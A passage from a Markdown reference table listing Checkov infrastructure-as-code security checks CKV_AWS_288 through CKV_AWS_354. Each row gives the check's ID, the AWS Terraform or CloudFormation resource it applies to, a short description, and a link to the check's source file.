[IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  716 | CKV_AWS_288              | resource                         | aws_iam_group_policy                                                                             | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform               | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  717 | CKV_AWS_288              | resource                         | aws_iam_policy                                                                                   | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform               | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  718 | CKV_AWS_288              | resource                         | aws_iam_role_policy                                                                              | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform               | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  719 | CKV_AWS_288              | resource                         | aws_iam_user_policy                                                                              | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform               | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  720 | CKV_AWS_288              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform               | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  721 | CKV_AWS_289              | resource                         | aws_iam_group_policy                                                                             | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform               | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  722 | CKV_AWS_289              | resource                         | aws_iam_policy                                                                                   | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform               | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  723 | CKV_AWS_289              | resource                         | aws_iam_role_policy                                                                              | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform               | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  724 | CKV_AWS_289              | resource                         | aws_iam_user_policy                                                                              | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform               | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  725 | CKV_AWS_289              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform               | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  726 | CKV_AWS_290              | resource                         | aws_iam_group_policy                                                                             | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform               | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  727 | CKV_AWS_290              | resource                         | aws_iam_policy                                                                                   | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform               | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  728 | CKV_AWS_290              | resource                         | aws_iam_role_policy                                                                              | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform               | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  729 | CKV_AWS_290              | resource                         | aws_iam_user_policy                                                                              | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform               | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  730 | CKV_AWS_290              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform               | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  731 | CKV_AWS_291              | resource                         | AWS::MSK::Cluster                                                                                | Ensure MSK nodes are private                                                                                                                                                                             | Cloudformation          | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterNodesArePrivate.py)                                                                        |\n|  732 | CKV_AWS_291              | resource                         | aws_msk_cluster                                                                                  | Ensure MSK nodes are private                                                                                                                                                                             | Terraform               | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterNodesArePrivate.py)                                                                             |\n|  733 | CKV_AWS_292              | resource                         | aws_docdb_global_cluster                                                                         | Ensure DocumentDB Global Cluster is encrypted at rest (default is unencrypted)                                                                                                                           | Terraform               | [DocDBGlobalClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBGlobalClusterEncryption.py)                                                                       |\n|  734 | CKV_AWS_293              | resource                         | aws_db_instance                                                                                  | Ensure that AWS database instances have deletion protection enabled                                                                                                                                      | Terraform               | [RDSInstanceDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstanceDeletionProtection.py)                                                                     |\n|  735 | CKV_AWS_294              | resource                         | aws_cloudtrail_event_data_store                                                                  | Ensure CloudTrail Event Data Store uses CMK                                                                                                                                                              | Terraform               | [CloudtrailEventDataStoreUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEventDataStoreUsesCMK.py)                                                                 |\n|  736 | CKV_AWS_295              | resource                         | aws_datasync_location_object_storage                                                             | Ensure DataSync Location Object Storage doesn't expose secrets                                                                                                                                           | Terraform               | [DatasyncLocationExposesSecrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DatasyncLocationExposesSecrets.py)                                                                   |\n|  737 | CKV_AWS_296              | resource                         | aws_dms_endpoint                                                                                 | Ensure DMS endpoint uses Customer Managed Key (CMK)                                                                                                                                                      | Terraform               | [DMSEndpointUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSEndpointUsesCMK.py)                                                                                           |\n|  738 | CKV_AWS_297              | resource                         | aws_scheduler_schedule                                                                           | Ensure EventBridge Scheduler Schedule uses Customer Managed Key (CMK)                                                                                                                                    | Terraform               | [SchedulerScheduleUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SchedulerScheduleUsesCMK.py)                                                                               |\n|  739 | CKV_AWS_298              | resource                         | aws_dms_s3_endpoint                                                                              | Ensure DMS S3 uses Customer Managed Key (CMK)                                                                                                                                                            | Terraform               | [DMSS3UsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSS3UsesCMK.py)                                                                                                       |\n|  740 | CKV_AWS_300              | resource                         | aws_s3_bucket_lifecycle_configuration                                                            | Ensure S3 lifecycle configuration sets period for aborting failed uploads                                                                                                                                | Terraform               | [S3AbortIncompleteUploads.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AbortIncompleteUploads.py)                                                                               |\n|  741 | CKV_AWS_301              | resource                         | aws_lambda_permission                                                                            | Ensure that AWS Lambda function is not publicly accessible                                                                                                                                               | Terraform               | [LambdaFunctionIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionIsNotPublic.py)                                                                             |\n|  742 | CKV_AWS_302              | resource                         | aws_db_snapshot                                                                                  | Ensure DB Snapshots are not Public                                                                                                                                                                       | Terraform               | [DBSnapshotsArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBSnapshotsArePrivate.py)                                                                                     |\n|  743 | CKV_AWS_303              | resource                         | aws_ssm_document                                                                                 | Ensure SSM documents are not Public                                                                                                                                                                      | Terraform               | [SSMDocumentsArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMDocumentsArePrivate.py)                                                                                   |\n|  744 | CKV_AWS_304              | resource                         | aws_secretsmanager_secret_rotation                                                               | Ensure Secrets Manager secrets should be rotated within 90 days                                                                                                                                          | Terraform               | [SecretManagerSecret90days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecretManagerSecret90days.py)                                                                             |\n|  745 | CKV_AWS_305              | resource                         | aws_cloudfront_distribution                                                                      | Ensure CloudFront distribution has a default root object configured                                                                                                                                      | Terraform               | [CloudfrontDistributionDefaultRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionDefaultRoot.py)                                                             |\n|  746 | CKV_AWS_306              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure SageMaker notebook instances should be launched into a custom VPC                                                                                                                                 | Terraform               | [SagemakerNotebookInCustomVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookInCustomVPC.py)                                                                       |\n|  747 | CKV_AWS_307              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure SageMaker Users should not have root access to SageMaker notebook instances                                                                                                                       | Terraform               | [SagemakerNotebookRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookRoot.py)                                                                                     |\n|  748 | CKV_AWS_308              | resource                         | aws_api_gateway_method_settings                                                                  | Ensure API Gateway method setting caching is set to encrypted                                                                                                                                            | Terraform               | [APIGatewayMethodSettingsCacheEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEncrypted.py)                                                   |\n|  749 | CKV_AWS_309              | resource                         | aws_apigatewayv2_route                                                                           | Ensure API GatewayV2 routes specify an authorization type                                                                                                                                                | Terraform               | [APIGatewayV2RouteDefinesAuthorizationType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayV2RouteDefinesAuthorizationType.py)                                             |\n|  750 | CKV_AWS_310              | resource                         | aws_cloudfront_distribution                                                                      | Ensure CloudFront distributions should have origin failover configured                                                                                                                                   | Terraform               | [CloudfrontDistributionOriginFailover.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionOriginFailover.py)                                                       |\n|  751 | CKV_AWS_311              | resource                         | aws_codebuild_project                                                                            | Ensure that CodeBuild S3 logs are encrypted                                                                                                                                                              | Terraform               | [CodebuildS3LogsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildS3LogsEncrypted.py)                                                                               |\n|  752 | CKV_AWS_312              | resource                         | aws_elastic_beanstalk_environment                                                                | Ensure Elastic Beanstalk environments have enhanced health reporting enabled                                                                                                                             | Terraform               | [ElasticBeanstalkUseEnhancedHealthChecks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticBeanstalkUseEnhancedHealthChecks.py)                                                 |\n|  753 | CKV_AWS_313              | resource                         | aws_rds_cluster                                                                                  | Ensure RDS cluster configured to copy tags to snapshots                                                                                                                                                  | Terraform               | [RDSClusterCopyTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterCopyTags.py)                                                                                           |\n|  754 | CKV_AWS_314              | resource                         | aws_codebuild_project                                                                            | Ensure CodeBuild project environments have a logging configuration                                                                                                                                       | Terraform               | [CodebuildHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildHasLogs.py)                                                                                               |\n|  755 | CKV_AWS_315              | resource                         | aws_autoscaling_group                                                                            | Ensure EC2 Auto Scaling groups use EC2 launch templates                                                                                                                                                  | Terraform               | [AutoScalingLaunchTemplate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingLaunchTemplate.py)                                                                             |\n|  756 | CKV_AWS_316              | resource                         | aws_codebuild_project                                                                            | Ensure CodeBuild project environments do not have privileged mode enabled                                                                                                                                | Terraform               | [CodeBuildPrivilegedMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeBuildPrivilegedMode.py)                                                                                 |\n|  757 | CKV_AWS_317              | resource                         | AWS::Elasticsearch::Domain                                                                       | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Cloudformation          | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                            |\n|  758 | CKV_AWS_317              | resource                         | AWS::OpenSearchService::Domain                                                                   | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Cloudformation          | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                            |\n|  759 | CKV_AWS_317              | resource                         | aws_elasticsearch_domain                                                                         | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Terraform               | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                                 |\n|  760 | CKV_AWS_317              | resource                         | aws_opensearch_domain                                                                            | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Terraform               | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                                 |\n|  761 | CKV_AWS_318              | resource                         | aws_elasticsearch_domain                                                                         | Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA                                                                                                            | Terraform               | [ElasticsearchDomainHA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py)                                                                                     |\n|  762 | CKV_AWS_318              | resource                         | aws_opensearch_domain                                                                            | Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA                                                                                                            | Terraform               | [ElasticsearchDomainHA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py)                                                                                     |\n|  763 | CKV_AWS_319              | resource                         | aws_cloudwatch_metric_alarm                                                                      | Ensure that CloudWatch alarm actions are enabled                                                                                                                                                         | Terraform               | [CloudWatchAlarmsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchAlarmsEnabled.py)                                                                                 |\n|  764 | CKV_AWS_320              | resource                         | aws_redshift_cluster                                                                             | Ensure Redshift clusters do not use the default database name                                                                                                                                            | Terraform               | [RedshiftClusterDatabaseName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterDatabaseName.py)                                                                         |\n|  765 | CKV_AWS_321              | resource                         | aws_redshift_cluster                                                                             | Ensure Redshift clusters use enhanced VPC routing                                                                                                                                                        | Terraform               | [RedshiftClusterUseEnhancedVPCRouting.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterUseEnhancedVPCRouting.py)                                                       |\n|  766 | CKV_AWS_322              | resource                         | aws_elasticache_cluster                                                                          | Ensure ElastiCache for Redis cache clusters have auto minor version upgrades enabled                                                                                                                     | Terraform               | [ElasticCacheAutomaticMinorUpgrades.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticCacheAutomaticMinorUpgrades.py)                                                           |\n|  767 | CKV_AWS_323              | resource                         | aws_elasticache_cluster                                                                          | Ensure ElastiCache clusters do not use the default subnet group                                                                                                                                          | Terraform               | [ElastiCacheHasCustomSubnet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElastiCacheHasCustomSubnet.py)                                                                           |\n|  768 | CKV_AWS_324              | resource                         | aws_rds_cluster                                                                                  | Ensure that RDS Cluster log capture is enabled                                                                                                                                                           | Terraform               | [RDSClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterLogging.py)                                                                                             |\n|  769 | CKV_AWS_325              | resource                         | aws_rds_cluster                                                                                  | Ensure that RDS Cluster audit logging is enabled for MySQL engine                                                                                                                                        | Terraform               | [RDSClusterAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterAuditLogging.py)                                                                                   |\n|  770 | CKV_AWS_326              | resource                         | aws_rds_cluster                                                                                  | Ensure that RDS Aurora Clusters have backtracking enabled                                                                                                                                                | Terraform               | [RDSClusterAuroraBacktrack.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterAuroraBacktrack.py)                                                                             |\n|  771 | CKV_AWS_327              | resource                         | aws_rds_cluster                                                                                  | Ensure RDS Clusters are encrypted using KMS CMKs                                                                                                                                                         | Terraform               | [RDSClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterEncryptedWithCMK.py)                                                                           |\n|  772 | CKV_AWS_328              | resource                         | aws_alb                                                                                          | Ensure that ALB is configured with defensive or strictest desync mitigation mode                                                                                                                         | Terraform               | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py)                                                                                                     |\n|  773 | CKV_AWS_328              | resource                         | aws_elb                                                                                          | Ensure that ALB is configured with defensive or strictest desync mitigation mode                                                                                                                         | Terraform               | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py)                                                                                                     |\n|  774 | CKV_AWS_328              | resource                         | aws_lb                                                                                           | Ensure that ALB is configured with defensive or strictest desync mitigation mode                                                                                                                         | Terraform               | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py)                                                                                                     |\n|  775 | CKV_AWS_329              | resource                         | aws_efs_access_point                                                                             | EFS access points should enforce a root directory                                                                                                                                                        | Terraform               | [EFSAccessPointRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSAccessPointRoot.py)                                                                                           |\n|  776 | CKV_AWS_330              | resource                         | aws_efs_access_point                                                                             | EFS access points should enforce a user identity                                                                                                                                                         | Terraform               | [EFSAccessUserIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSAccessUserIdentity.py)                                                                                     |\n|  777 | CKV_AWS_331              | resource                         | aws_ec2_transit_gateway                                                                          | Ensure Transit Gateways do not automatically accept VPC attachment requests                                                                                                                              | Terraform               | [Ec2TransitGatewayAutoAccept.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/Ec2TransitGatewayAutoAccept.py)                                                                         |\n|  778 | CKV_AWS_332              | resource                         | aws_ecs_service                                                                                  | Ensure ECS Fargate services run on the latest Fargate platform version                                                                                                                                   | Terraform               | [ECSServiceFargateLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSServiceFargateLatest.py)                                                                                 |\n|  779 | CKV_AWS_333              | resource                         | aws_ecs_service                                                                                  | Ensure ECS services do not have public IP addresses assigned to them automatically                                                                                                                       | Terraform               | [ECSServicePublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSServicePublicIP.py)                                                                                           |\n|  780 | CKV_AWS_334              | resource                         | aws_ecs_task_definition                                                                          | Ensure ECS containers should run as non-privileged                                                                                                                                                       | Terraform               | [ECSContainerPrivilege.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerPrivilege.py)                                                                                     |\n|  781 | CKV_AWS_335              | resource                         | aws_ecs_task_definition                                                                          | Ensure ECS task definitions should not share the host's process namespace                                                                                                                                | Terraform               | [ECSContainerHostProcess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerHostProcess.py)                                                                                 |\n|  782 | CKV_AWS_336              | resource                         | aws_ecs_task_definition                                                                          | Ensure ECS containers are limited to read-only access to root filesystems                                                                                                                                | Terraform               | [ECSContainerReadOnlyRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerReadOnlyRoot.py)                                                                               |\n|  783 | CKV_AWS_337              | resource                         | aws_ssm_parameter                                                                                | Ensure SSM parameters are using KMS CMK                                                                                                                                                                  | Terraform               | [SSMParameterUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMParameterUsesCMK.py)                                                                                         |\n|  784 | CKV_AWS_338              | resource                         | aws_cloudwatch_log_group                                                                         | Ensure CloudWatch log groups retains logs for at least 1 year                                                                                                                                            | Terraform               | [CloudWatchLogGroupRetentionYear.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetentionYear.py)                                                                 |\n|  785 | CKV_AWS_339              | resource                         | aws_eks_cluster                                                                                  | Ensure EKS clusters run on a supported Kubernetes version                                                                                                                                                | Terraform               | [EKSPlatformVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPlatformVersion.py)                                                                                           |\n|  786 | CKV_AWS_340              | resource                         | aws_elastic_beanstalk_environment                                                                | Ensure Elastic Beanstalk managed platform updates are enabled                                                                                                                                            | Terraform               | [ElasticBeanstalkUseManagedUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticBeanstalkUseManagedUpdates.py)                                                             |\n|  787 | CKV_AWS_341              | resource                         | aws_launch_configuration                                                                         | Ensure Launch template should not have a metadata response hop limit greater than 1                                                                                                                      | Terraform               | [LaunchTemplateMetadataHop.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py)                                                                             |\n|  788 | CKV_AWS_341              | resource                         | aws_launch_template                                                                              | Ensure Launch template should not have a metadata response hop limit greater than 1                                                                                                                      | Terraform               | [LaunchTemplateMetadataHop.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py)                                                                             |\n|  789 | CKV_AWS_342              | resource                         | aws_waf_rule_group                                                                               | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform               | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  790 | CKV_AWS_342              | resource                         | aws_waf_web_acl                                                                                  | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform               | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  791 | CKV_AWS_342              | resource                         | aws_wafregional_rule_group                                                                       | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform               | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  792 | CKV_AWS_342              | resource                         | aws_wafregional_web_acl                                                                          | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform               | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  793 | CKV_AWS_342              | resource                         | aws_wafv2_rule_group                                                                             | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform               | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  794 | CKV_AWS_342              | resource                         | aws_wafv2_web_acl                                                                                | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform               | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  795 | CKV_AWS_343              | resource                         | aws_redshift_cluster                                                                             | Ensure Amazon Redshift clusters should have automatic snapshots enabled                                                                                                                                  | Terraform               | [RedshiftClusterAutoSnap.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterAutoSnap.py)                                                                                 |\n|  796 | CKV_AWS_344              | resource                         | aws_networkfirewall_firewall                                                                     | Ensure that Network firewalls have deletion protection enabled                                                                                                                                           | Terraform               | [NetworkFirewallDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallDeletionProtection.py)                                                             |\n|  797 | CKV_AWS_345              | resource                         | aws_networkfirewall_firewall                                                                     | Ensure that Network firewall encryption is via a CMK                                                                                                                                                     | Terraform               | [NetworkFirewallUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py)                                                                                   |\n|  798 | CKV_AWS_345              | resource                         | aws_networkfirewall_rule_group                                                                   | Ensure that Network firewall encryption is via a CMK                                                                                                                                                     | Terraform               | [NetworkFirewallUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py)                                                                                   |\n|  799 | CKV_AWS_346              | resource                         | aws_networkfirewall_firewall_policy                                                              | Ensure Network Firewall Policy defines an encryption configuration that uses a customer managed Key (CMK)                                                                                                | Terraform               | [NetworkFirewallPolicyDefinesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallPolicyDefinesCMK.py)                                                                 |\n|  800 | CKV_AWS_347              | resource                         | aws_neptune_cluster                                                                              | Ensure Neptune is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                    | Terraform               | [NeptuneClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterEncryptedWithCMK.py)                                                                   |\n|  801 | CKV_AWS_348              | resource                         | aws_iam_access_key                                                                               | Ensure IAM root user does not have Access keys                                                                                                                                                           | Terraform               | [IAMUserRootAccessKeys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMUserRootAccessKeys.py)                                                                                     |\n|  802 | CKV_AWS_349              | resource                         | aws_emr_security_configuration                                                                   | Ensure EMR Cluster security configuration encrypts local disks                                                                                                                                           | Terraform               | [EMRClusterConfEncryptsLocalDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsLocalDisk.py)                                                                 |\n|  803 | CKV_AWS_350              | resource                         | aws_emr_security_configuration                                                                   | Ensure EMR Cluster security configuration encrypts EBS disks                                                                                                                                             | Terraform               | [EMRClusterConfEncryptsEBS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsEBS.py)                                                                             |\n|  804 | CKV_AWS_351              | resource                         | aws_emr_security_configuration                                                                   | Ensure EMR Cluster security configuration encrypts InTransit                                                                                                                                             | Terraform               | [EMRClusterConfEncryptsInTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsInTransit.py)                                                                 |\n|  805 | CKV_AWS_352              | resource                         | aws_network_acl_rule                                                                             | Ensure NACL ingress does not allow all Ports                                                                                                                                                             | Terraform               | [NetworkACLUnrestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestricted.py)                                                                                   |\n|  806 | CKV_AWS_353              | resource                         | aws_db_instance                                                                                  | Ensure that RDS instances have performance insights enabled                                                                                                                                              | Terraform               | [RDSInstancePerformanceInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py)                                                                   |\n|  807 | CKV_AWS_353              | resource                         | aws_rds_cluster_instance                                                                         | Ensure that RDS instances have performance insights enabled                                                                                                                                              | Terraform               | [RDSInstancePerformanceInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py)                                                                   |\n|  808 | CKV_AWS_354              | resource                         | aws_db_instance                                                                                  | Ensure RDS Performance Insights are encrypted using KMS CMKs                                                                                                                                             | Terraform               | [RDSInstancePerfInsightsEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py)                                               |\n|  809 | CKV_AWS_354              | resource                         | aws_rds_cluster_instance                                                                         | Ensure RDS Performance Insights are encrypted using KMS CMKs                                                                                                                                             | Terraform               | 